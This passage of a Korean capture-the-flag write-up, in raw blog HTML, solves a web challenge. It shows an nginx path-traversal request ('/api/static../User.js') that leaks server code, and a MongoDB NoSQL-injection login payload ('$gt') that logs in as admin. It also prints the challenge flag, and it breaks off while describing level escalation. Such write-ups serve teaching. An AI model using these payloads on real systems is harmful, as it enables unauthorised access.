&lt;li&gt;&lt;span&gt;기능 확인 후&lt;span&gt; race condition&lt;/span&gt;을 이용하여&lt;span&gt; admin &lt;/span&gt;권한 획득&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;게시판의&lt;span&gt; member level=2 &lt;/span&gt;게시글 조회 시 플래그 획득&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 24.3156%;&quot; width=&quot;250&quot;&gt;
&lt;p&gt;&lt;span&gt;정 답&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 75.6545%;&quot; colspan=&quot;3&quot; width=&quot;941&quot;&gt;
&lt;p&gt;&lt;span&gt;flag{This_is_top_secret_dont_you_agree}&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 99.9701%;&quot; colspan=&quot;4&quot; width=&quot;1191&quot;&gt;
&lt;p&gt;&lt;span&gt;풀 이 과 정&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 99.9701%;&quot; colspan=&quot;4&quot; width=&quot;1191&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMfsx8/btqIM7a97AQ/RbmSSy3Y5ZgC3vDiFLTPu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMfsx8/btqIM7a97AQ/RbmSSy3Y5ZgC3vDiFLTPu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMfsx8/btqIM7a97AQ/RbmSSy3Y5ZgC3vDiFLTPu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMfsx8%2FbtqIM7a97AQ%2FRbmSSy3Y5ZgC3vDiFLTPu1%2Fimg.png&quot; data-filename=&quot;image1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&lt;span&gt;sign up / sign in &lt;/span&gt;&lt;span&gt;페이지가 있고&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image2.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKVnzU/btqIObqSCJD/Z9L62l9XiZ8A16iu7pZsW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKVnzU/btqIObqSCJD/Z9L62l9XiZ8A16iu7pZsW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKVnzU/btqIObqSCJD/Z9L62l9XiZ8A16iu7pZsW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKVnzU%2FbtqIObqSCJD%2FZ9L62l9XiZ8A16iu7pZsW1%2Fimg.png&quot; data-filename=&quot;image2.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&lt;span&gt;회원가입후 로그인하고&lt;span&gt; mypage&lt;/span&gt;에 가보면&lt;span&gt; perm&lt;/span&gt;이&lt;span&gt; Guest&lt;/span&gt;인것을 확인할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image3.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dCuzbq/btqID5yGT0P/zUnrALdHbk8jrnzKfYwrS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dCuzbq/btqID5yGT0P/zUnrALdHbk8jrnzKfYwrS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dCuzbq/btqID5yGT0P/zUnrALdHbk8jrnzKfYwrS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdCuzbq%2FbtqID5yGT0P%2FzUnrALdHbk8jrnzKfYwrS0%2Fimg.png&quot; data-filename=&quot;image3.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&lt;span&gt;이때&lt;span&gt; /api/static/{:userid} &lt;/span&gt;를 요청해오는데&lt;span&gt;, &lt;/span&gt;이와 서버가&lt;span&gt; nginx&lt;/span&gt;임을 미루어 보아 잘못된&lt;span&gt; route&lt;/span&gt;설정으로 인하여&lt;span&gt; file leak&lt;/span&gt;이 될 수도 있다는것을 가정해볼 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image4.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dEgbeN/btqIOaMd53T/YDVFBzKh6kfztbCulagqRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dEgbeN/btqIOaMd53T/YDVFBzKh6kfztbCulagqRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dEgbeN/btqIOaMd53T/YDVFBzKh6kfztbCulagqRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdEgbeN%2FbtqIOaMd53T%2FYDVFBzKh6kfztbCulagqRk%2Fimg.png&quot; data-filename=&quot;image4.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&lt;span&gt;이처럼&lt;span&gt; /api/static../User.js &lt;/span&gt;를 요청하면&lt;span&gt; nginx&lt;/span&gt;에서의 잘못된&lt;span&gt; route&lt;/span&gt;설정으로 인하여&lt;span&gt; static&lt;/span&gt;디렉터리를 벗어나 본래 접근할 수 없는 파일에 접근하게 되어 서버단 코드를 획득할 수 있다&lt;span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;----&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;const signin = (req, res) =&amp;gt; {&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;User&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;.findOne({&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;userid: req.body.userid,&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;password: req.body.password&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;})&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;.then(user =&amp;gt; {&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;if (!user) {&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;res.status(406);&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;res.send();&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;} else {&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;res.status(200);&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;control&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;.sign({ id: user.userid })&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;.then(tok =&amp;gt; {&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;res.send(JSON.stringify({&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;username: user.userid,&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;token: tok&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}))}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;);&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;}})&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;.catch(err =&amp;gt; {&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;res.status(500);&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;res.send(JSON.stringify({ reason: { html: err } }));&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;});&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;};&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;br /&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;----&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;서버단 코드 중 로그인 부분 코드를 보면&lt;span&gt; mongo db Model&lt;/span&gt;의&lt;span&gt; .findOne &lt;/span&gt;메서드를 이용하여 사용자로부터 전달받은&lt;span&gt; id&lt;/span&gt;와&lt;span&gt; password&lt;/span&gt;를&lt;span&gt; key&lt;/span&gt;로 검색하는 것을 확인할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;하지만&lt;span&gt; findOne &lt;/span&gt;메서드를 이용하는점&lt;span&gt; + &lt;/span&gt;서버의 구성이 &lt;span&gt;app.use( bodyParser.urlencoded({ extended: true }) ); &lt;/span&gt;로 이루어져 있기 때문에 사용자는&lt;span&gt; Object &lt;/span&gt;객체를 직접 전달할 수 있다&lt;span&gt;. &lt;/span&gt;이로 인하여&lt;span&gt; nosql injection&lt;/span&gt;이 발생하게 되어&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;{&quot;userid&quot;:&quot;admin&quot;,&quot;password&quot;:{&quot;$gt&quot;:&quot;&quot;}} &lt;/span&gt;&lt;span&gt;와같이 요청하게 되면&lt;span&gt; admin&lt;/span&gt;의 패스워드를 모르더라도 로그인이 가능해진다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;nosql injection&lt;/span&gt;&lt;span&gt;을 통해&lt;span&gt; admin&lt;/span&gt;의 토큰을 알아냈으니&lt;span&gt; local storage&lt;/span&gt;의 토큰값을&lt;span&gt; admin&lt;/span&gt;토큰으로 바꾸면 이와같이&lt;span&gt; admin&lt;/span&gt;으로 로그인된것을 확인할수있다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image5.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7miPm/btqIz6rDZWo/AnHJaaH5rsF9GrNGySdAGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7miPm/btqIz6rDZWo/AnHJaaH5rsF9GrNGySdAGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7miPm/btqIz6rDZWo/AnHJaaH5rsF9GrNGySdAGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7miPm%2FbtqIz6rDZWo%2FAnHJaaH5rsF9GrNGySdAGk%2Fimg.png&quot; data-filename=&quot;image5.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;하지만 해당 문제에서 진짜 어드민은&lt;span&gt; level=2 &lt;/span&gt;이상이 되어야한다&lt;span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image6.png&quot; data-origin-width=&quot;498&quot; data-origin-height=&quot;380&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d7RhVj/btqIz4N7G7T/yTnxxypWGAoEukxfre0k6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d7RhVj/btqIz4N7G7T/yTnxxypWGAoEukxfre0k6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d7RhVj/btqIz4N7G7T/yTnxxypWGAoEukxfre0k6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd7RhVj%2FbtqIz4N7G7T%2FyTnxxypWGAoEukxfre0k6K%2Fimg.png&quot; data-filename=&quot;image6.png&quot; data-origin-width=&quot;498&quot; data-origin-height=&quot;380&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&lt;span&gt;&lt;br /&gt;현재 접속한 어드민은&lt;span&gt; level=1(member)&lt;/span&gt;로써&lt;span&gt; board list&lt;/span&gt;에서 조회할 수 있는 게시글은 자신의 레벨보다 낮은 레벨의 게시글만 조회할 수 있다&lt;span&gt;. &lt;/span&gt;따라서 문제의 목적에 따라 어드민 레벨을 획득하여야 한다&lt;span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image7.png&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;650&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdlsVE/btqIObj4yD6/R5fqjVEMtZfZ7zherzRDzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdlsVE/btqIObj4yD6/R5fqjVEMtZfZ7zherzRDzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdlsVE/btqIObj4yD6/R5fqjVEMtZfZ7zherzRDzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdlsVE%2FbtqIObj4yD6%2FR5fqjVEMtZfZ7zherzRDzK%2Fimg.png&quot; data-filename=&quot;image7.png&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;650&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;이 상황에서&lt;span&gt; auth &lt;/span&gt;동작이 다소 이상하게 되어있는데&lt;span&gt;, &lt;/span&gt;만약 올바른&lt;span&gt; division_number&lt;/span&gt;를 입력할 시 현재 접속한 계정의&lt;span&gt; level&lt;/span&gt;이&lt;span&gt; 0&lt;/span&gt;일경우 해당 계정의&lt;span&gt; level&lt;/span&gt;를&lt;span&gt; 1 &lt;/span&gt;올려주는 동작을 한다&lt;span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;image8.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2sMzS/btqIJbkUYpU/xWuh18Yd7mjSAkcaPTqCv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2sMzS/btqIJbkUYpU/xWuh18Yd7mjSAkcaPTqCv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2sMzS/btqIJbkUYpU/xWuh18Yd7mjSAkcaPTqCv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2sMzS%2FbtqIJbkUYpU%2FxWuh18Yd7mjSAkcaPTqCv1%2Fimg.png&quot; data-filename=&quot;image8.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;division_number&lt;/span&gt;&lt;span&gt;는 알려져 있지 않지만 이또한 마찬가지로&lt;span&gt; nosql injection&lt;/span&gt;을 통해 레벨을 올릴 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
